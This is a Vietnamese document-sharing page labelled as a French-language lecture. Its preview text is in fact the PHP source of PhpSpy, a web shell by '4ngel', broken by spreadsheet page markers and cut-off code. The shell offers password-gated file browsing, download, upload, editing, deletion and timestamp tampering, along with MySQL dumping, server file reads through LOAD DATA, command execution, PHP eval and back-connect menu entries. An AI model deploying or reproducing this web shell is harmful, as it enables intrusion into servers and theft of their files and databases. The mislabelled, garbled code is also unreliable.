1. Trang chủ
  2. » Giáo án - Bài giảng

bai giang tieng phap

198 278 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 198
Dung lượng 67,75 KB

Nội dung

Sheet1 Page 1 <?php /***************************************************************************** Codz by angel(4ngel) Make in China Web: http://www.4ngel.net *****************************************************************************/ error_reporting(0); @set_magic_quotes_runtime(false); ob_start(); define('USER_AGENT' if(!in_array(USER_AGENT //header("HTTP/1.0 404 Not Found");die(); } $mtime = explode(' ' $starttime = $mtime[1] + $mtime[0]; define('SA_ROOT' //define('IS_WIN' define('IS_WIN' define('IS_COM' define('IS_GPC' $dis_func = get_cfg_var('disable_functions'); define('IS_PHPINFO' @set_time_limit(0); foreach(array('_GET' foreach($$_request as $_key => $_value) { if ($_key{0} != '_') { if (IS_GPC) { $_value = s_array($_value); } $$_key = $_value; } } } /*===================== ỗăồộỗẵđ =====================*/ $admin = array(); $admin['check'] = true; $admin['pass'] = 'd3f63a529da93069958766a3d328226f'; //ồƯổăồạ cookie ọẵỗăốồổỗạổđốƯổ // cookie ồỗẳ $admin['cookiepre'] = ''; // cookie ọẵỗăồ $admin['cookiedomain'] = ''; // cookie ọẵỗăốãồắ $admin['cookiepath'] = '/'; // cookie ổổổ $admin['cookielife'] = 86400; // ổồƯộốƯồỗ ộêố // ồƯổộốƯồỗ ộêố Sheet1 Page 2 /*===================== ộỗẵđỗằổ =====================*/ if ($charset == 'utf8') { header("content-Type: text/html; charset=utf-8"); } elseif ($charset == 'big5') { header("content-Type: text/html; charset=big5"); } elseif ($charset == 'gbk') { header("content-Type: text/html; charset=gbk"); } elseif ($charset == 'latin1') { header("content-Type: text/html; charset=iso-8859-2"); } $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $timestamp = time(); /*===================== ốôọằẵộêố =====================*/ if ($action == "logout") { scookie('phpspypass' scookie('sql_query' p('<meta http-equiv="refresh" content="1;URL='.$self.'">'); p('<a style="font:12px Verdana" href="'.$self.'">Success</a>'); exit; } if($admin['check']) { if ($doing == 'login') { $password = md5($password); if ($admin['pass'] == $password) { scookie('phpspypass' p('<meta http-equiv="refresh" content="1;URL='.$self.'">'); p('<a style="font:12px Verdana" href="'.$self.'">Success</a>'); exit; } } if ($_COOKIE['phpspypass']) { if ($_COOKIE['phpspypass'] != $admin['pass']) { loginpage(); } } else { loginpage(); } } /*===================== ộêốỗằổ =====================*/ $errmsg = ''; // ổƠỗPHPINFO if ($action == 'phpinfo') { if (IS_PHPINFO) { phpinfo(); } else { $errmsg = 'phpinfo() function has non-permissible'; } } // ọáốẵẵổọằả if ($doing == 'downfile' && $thefile) { Sheet1 Page 3 if (!@file_exists($thefile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header('Content-Length: '.filesize($thefile)); @readfile($thefile); exit; } } if ($doing == 'downdir' && $thefile) { if (!@file_exists($thefile)) { $errmsg = 'The directory you want Downloadable was nonexistent'; } else { $zip=new PHPZip($thefile); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.end(explode('/' echo $code; exit; } } // ỗổƠọáốẵẵồÔọằẵổổđồ if ($doing == 'backupmysql' && !$saveasfile) { dbconn($dbhost $table = array_flip($table); $result = q("SHOW tables"); if (!$result) p('<h2>'.mysql_error().'</h2>'); $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); header('Content-type: application/unknown'); header('Content-Disposition: attachment; filename='.$filename); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { $mysqldata .= sqldumptable($currow[0]); } } mysql_close(); exit; } // ộốMYSQLọáốẵẵổọằả if($doing=='mysqldown'){ if (!$dbname) { $errmsg = 'Please input dbname'; } else { dbconn($dbhost if (!file_exists($mysqldlfile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { Sheet1 Page 4 $result = q("select load_file('$mysqldlfile');"); if(!$result){ q("DROP TABLE IF EXISTS tmp_angel;"); q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); $result = q("select content from tmp_angel"); q("DROP TABLE tmp_angel"); } $row = @mysql_fetch_array($result); if (!$row) { $errmsg = 'Load file failed '.mysql_error(); } else { $fileinfo = pathinfo($mysqldlfile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header("Accept-Length: ".strlen($row[0])); echo $row[0]; exit; } } } } ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gbk"> <title></title> <style type="text/css"> body .input{font:12px Arial .area{font:12px 'Courier New' .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial a {color: #00f;text-decoration:underline;} a:hover{color: #f00;text-decoration:none;} .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;} .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;} .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;} .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;} .head td span{font-weight:normal;} form{margin:0;padding:0;} h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;} ul.info li{margin:0;color:#444;line-height:24px;height:24px;} u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;} </style> <script type="text/javascript"> function CheckAll(form) { for(var i=0;i<form.elements.length;i++) { var e = form.elements[i]; if (e.name != 'chkall') e.checked = form.chkall.checked; } } function $(id) { //ỗăổảộổổƠốĂăỗÔổêổ- Sheet1 Page 5 return document.getElementById(id); } function goaction(act){ $('goaction').action.value=act; $('goaction').submit(); } </script> </head> <body style="margin:0;table-layout:fixed; word-break:break-all"> <table width="100%" border="0" cellpadding="0" cellspacing="0"> <tr class="head"> <td><span style="float:right;"><a onclick="javascript:alert('http://www.4ngel.net')" target="_blank"><?php echo str_replace('.' </tr> <tr class="alt1"> <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span> <a href="javascript:goaction('logout');">Logout</a> | <a href="javascript:goaction('file');">File Manager</a> | <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> | <a href="javascript:goaction('shell');">Execute Command</a> | <a href="javascript:goaction('phpenv');">PHP Variable</a> | <a href="javascript:goaction('eval');">Eval PHP Code</a> <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?> </td> </tr> </table> <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td> <?php formhead(array('name'=>'goaction')); makehide('action'); formfoot(); $errmsg && m($errmsg); // ốãồồẵồốãồắ !$dir && $dir = '.'; $nowpath = getPath(SA_ROOT if (substr($dir $dir = $dir.'/'; } $uedir = ue($dir); if (!$action || $action == 'file') { $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; if ($doing == 'deldir' && $thefile) { if (!file_exists($thefile)) { m($thefile.' directory does not exist'); } else { m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); // ồÔổ-ốằồổồà // ồ ộÔỗđồẵ Sheet1 Page 6 } } // ồồằỗđồẵ elseif ($newdirname) { $mkdirs = $nowpath.$newdirname; if (file_exists($mkdirs)) { m('Directory has already existed'); } else { m('Directory created '.(@mkdir($mkdirs @chmod($mkdirs } } elseif ($doupfile) { m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'] } // ỗẳốắổọằả elseif ($editfilename && $filecontent) { $fp = @fopen($editfilename m('Save file '.(@fwrite($fp @fclose($fp); } // ỗẳốắổọằảồổĐ elseif ($pfile && $newperm) { if (!file_exists($pfile)) { m('The original file does not exist'); } else { $newperm = base_convert($newperm m('Modify file attributes '.(@chmod($pfile } } // ổạồ elseif ($oldname && $newfilename) { $nname = $nowpath.$newfilename; if (file_exists($nname) || !file_exists($oldname)) { m($nname.' has already existed or original file does not exist'); } else { m(basename($oldname).' renamed '.basename($nname).(@rename($oldname } } // ồÔồảổọằả elseif ($sname && $tofile) { if (file_exists($tofile) || !file_exists($sname)) { m('The goal file has already existed or original file does not exist'); } else { m(basename($tofile).' copied '.(@copy($sname } } // ồộổảộ // ọáọẳ ổọằả Sheet1 Page 7 elseif ($curfile && $tarfile) { if (!@file_exists($curfile) || !@file_exists($tarfile)) { m('The goal file has already existed or original file does not exist'); } else { $time = @filemtime($tarfile); m('Modify file the last modified '.(@touch($curfile } } // ốêồđọạổảộ elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { if (!@file_exists($curfile)) { m(basename($curfile).' does not exist'); } else { $time = strtotime("$year-$month-$day $hour:$minute:$second"); m('Modify file the last modified '.(@touch($curfile } } // ổồọáốẵẵ elseif($doing == 'downrar') { if ($dl) { $dfiles=''; foreach ($dl as $filepath => $value) { $dfiles.=$filepath.' } $dfiles=substr($dfiles $dl=explode(' $zip=new PHPZip($dl); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); echo $code; exit; } else { m('Please select file(s)'); } } elseif($doing == 'delfiles') { if ($dl) { $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath => $value) { if (@unlink($filepath)) { $succ++; } else { $fail++; } } m('Deleted file have finishedùẳchoose '.count($dl).' success '.$succ.' fail '.$fail); } else { m('Please select file(s)'); // ổạộồ ộÔổọằả Sheet1 Page 8 } } //æ“作完毕 formhead(array('name'=>'createdir')); makehide('newdirname'); makehide('dir' formfoot(); formhead(array('name'=>'fileperm')); makehide('newperm'); makehide('pfile'); makehide('dir' formfoot(); formhead(array('name'=>'copyfile')); makehide('sname'); makehide('tofile'); makehide('dir' formfoot(); formhead(array('name'=>'rename')); makehide('oldname'); makehide('newfilename'); makehide('dir' formfoot(); formhead(array('name'=>'fileopform')); makehide('action'); makehide('opfile'); makehide('dir'); formfoot(); $free = @disk_free_space($nowpath); !$free && $free = 0; $all = @disk_total_space($nowpath); !$all && $all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free) p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>'); ?> <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"> <form action="" method="post" id="godir" name="godir"> <tr> <td nowrap>Current Directory (<?php echo $dir_writeable;?> <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td> <td nowrap><input class="bt" value="GO" type="submit"></td> </tr> </form> </table> <script type="text/javascript"> function createdir(){ var newdirname; newdirname = prompt('Please input the directory name:' if (!newdirname) return; $('createdir').newdirname.value=newdirname; $('createdir').submit(); Sheet1 Page 9 } function fileperm(pfile){ var newperm; newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:' if (!newperm) return; $('fileperm').newperm.value=newperm; $('fileperm').pfile.value=pfile; $('fileperm').submit(); } function copyfile(sname){ var tofile; tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):' if (!tofile) return; $('copyfile').tofile.value=tofile; $('copyfile').sname.value=sname; $('copyfile').submit(); } function rename(oldname){ var newfilename; newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:' if (!newfilename) return; $('rename').newfilename.value=newfilename; $('rename').oldname.value=oldname; $('rename').submit(); } function dofile(doing if (m && !confirm(m)) { return; } $('filelist').doing.value=doing; if (thefile){ $('filelist').thefile.value=thefile; } $('filelist').submit(); } function createfile(nowpath){ var filename; filename = prompt('Please input the file name:' if (!filename) return; opfile('editfile' } function opfile(action $('fileopform').action.value=action; $('fileopform').opfile.value=opfile; $('fileopform').dir.value=dir; $('fileopform').submit(); } function godir(dir if (view_writable) { $('godir').view_writable.value=1; } $('godir').dir.value=dir; $('godir').submit(); } </script> <?php Sheet1 Page 10 tbhead(); p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">'); p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>'); p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>'); if ($view_writable) { p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>'); } else { p(' | <a href="javascript:godir(\''.$nowpath.'\' } p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>'); if (IS_WIN && IS_COM) { $obj = new COM('scripting.filesystemobject'); if ($obj && is_object($obj)) { $DriveTypeDB = array(0 => 'Unknow' foreach($obj->Drives as $drive) { if ($drive->DriveType == 2) { p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); } else { p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); } } } } p('</td></tr></form>'); p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); //ổƠỗổổồồổọằảồỗđồẵ $dirdata=array(); $filedata=array(); if ($view_writable) { $dirdata = GetList($nowpath); } else { // ỗđồẵồốĂă $dirs=@opendir($dir); while ($file=@readdir($dirs)) { $filepath=$nowpath.$file; if(@is_dir($filepath)){ $dirdb['filename']=$file; $dirdb['mtime']=@date('Y-m-d H:i:s' $dirdb['dirchmod']=getChmod($filepath); $dirdb['dirperm']=getPerms($filepath); $dirdb['fileowner']=getUser($filepath); $dirdb['dirlink']=$nowpath; $dirdb['server_link']=$filepath; $dirdb['client_link']=ue($filepath); $dirdata[]=$dirdb; } else { $filedb['filename']=$file; $filedb['size']=sizecount(@filesize($filepath)); $filedb['mtime']=@date('Y-m-d H:i:s' $filedb['filechmod']=getChmod($filepath); $filedb['fileperm']=getPerms($filepath); $filedb['fileowner']=getUser($filepath);

Ngày đăng: 30/10/2014, 12:00

TỪ KHÓA LIÊN QUAN

w